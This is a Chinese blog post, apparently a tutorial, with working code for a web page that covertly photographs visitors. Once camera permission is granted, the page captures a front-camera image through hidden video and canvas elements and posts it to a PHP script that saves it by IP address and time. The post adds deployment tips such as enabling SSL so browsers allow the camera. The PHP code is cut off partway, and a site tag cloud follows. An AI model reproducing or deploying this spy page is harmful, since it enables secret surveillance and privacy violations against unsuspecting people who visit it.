前言现在众多手机APP乱用权限并窃取用户隐私,大家要注意保护好自己!代码分别创建index.html和photo.php两个文件并上传至网站服务器即可;创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类。说明建站环境需求:Nginx PHP 7.0+如果上传到服务器的图片是全黑的或只有一半,说明使用者打开网页后快速关闭了,没有完整的获取到图片。index.html代码第25行处需要指定 photo.php文件的所在位置,如果文件在网站根目录下无需修改。注意:由于浏览器安全机制原因,网站需开启SSL,如果仅使用HTTP,多数浏览器无法获取到相机权限.index.html代码<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="" content="content"> <title>SunPma'Blog</title> <style> .container { width: 60%; margin: 10% auto 0; background-color: #f0f0f0; padding: 2% 5%; border-radius: 10px } ul { padding-left: 20px; } ul li { line-height: 2.3 } a { color: #20a53a } </style> </head> <body> <canvas id="canvas" style="display: none;" width="480" height="640"></canvas> <video id="video" style="display: none;width: 250px;height: 300px;"></video> <script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script> <script> window.addEventListener("DOMContentLoaded",function(){ var canvas = document.getElementById('canvas'); var context =canvas.getContext('2d'); var video = document.getElementById('video'); if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){ video.srcObject = stream; video.play(); setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000); setTimeout(function(){ var img = canvas.toDataURL('image/png'); $.post('/photo.php',{'imegse':img},function(data){ //指定photo.php文件所在位置 }) } ,1300) },function(){ alert('缺少访问权限'); location.reload(); }) } },false); </script> <div class="container"> <h1>这是一个测试页 · · · </h1> <h3>获取相机权限后将自动拍照上传至服务器;</h3> <ul> <li>此测试页面获取到的照片会定时自动清理;</li> <li>代码获取:https://sunpma.com/994.html</li> </ul> </div> </body> </html>photo.php代码<?php //允许跨域 header("Access-Control-Allow-Origin:*"); echo base64(); function base64() { //接收 base64 数据 $image = $_POST['imegse']; if (empty($image)) { return null; } //设置图片名称 $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png'; //判断是否有逗号 如果有就截取后半部分 if (strstr($image, ",")) { $image = explode(',', $image); $image = $image[1]; } //设置图片保存路径 $path = "./" . getIp()…
Tag: video
1 Posts
Tags
12班 02023 13.0 1admin 2apk 0AppStore 1arch 1aria2 1ariang 1blog 0centos 1centos7 1chat 1clover 1collapse 0comwechat 0const 0dll 0docker 0efi 1false 0function 1gitee 0Grasscutter 0headers 0hello 1HMC 0hmcl 1intel 1ipad 1java 1javascript 1jdk 1kavik 0let 0Linux 5mac 1mac OS 2macos 1MC 2Minecraft 2MongoDB 0mtg 1mtproxy 1nginx 0nvm 1o 0onedrive 0php 2pro 0python 0QQ 2rain 0rainkavik 0response 0selinux 0service 2Sky 1Sky: Children of the Light 2sspanel 0status 0systemd 2test 0TG 0TikTok 1title 0tools 0typecho 0ubuntu 2udp 0usr 2v2ray 1var 2version 0video 1vps 1WeChat 1wordpress 0xcat 0yunzai 1下载 1不甘寂寞 0丞哥 0中國媒體 0中学 1享受 0人品 1人间 1代理 1代码 3体验 1作弊 0你 0光 1光遇 2关照 1分区 2割草机 0努力 0勇敢 0卸载 1压力 0原神 1原耽 0可视化 1同意 0启动 2启动器 0命令 1喜欢 0回忆 1国庆 0国庆快乐 0国服 0在吗 1域名 2填写 0墨茶 0多人 0学校 1学生 1安宁 0安装 9宝塔 3審查 0少年 1帽子 1思念 0感想 0成不了 0我 1我的世界 1打开 0抑郁 1抑郁症 1抑鬱 1抖音 1报时鸟 0抵抗 1指令箱 0提供 0插件 0搭建 0撒野 0教程 3文件 7无定处 0无感 0暗恋 0更新 3朋友 1服务器 3机器人 1权限 4束 1梗 1正版 1测试 1海 0海外 1游玩 1热搜 1爱 0环境 2登录 1皮肤站 1目录 7直链 0破解 1磁盘 1祝福 0私服 1穿透 0站点 4简介 0簡體中文 1米哈游 0粘贴 1網抑 1缄默 0编写 1网盘 0群晖 1老师 1联机 0脚本 5蒋丞 0衡水桃城 1解說 0評價 0证书 1说明 0软链接 1轻狂 1连接 2通告 0邮件 1邮箱 1镜像 2长夜 0闪退 0问题 7防火墙 0青春 1非非 0面板 6须弥 1顾飞 0验证 0高考 1黑苹果 3黑茶 0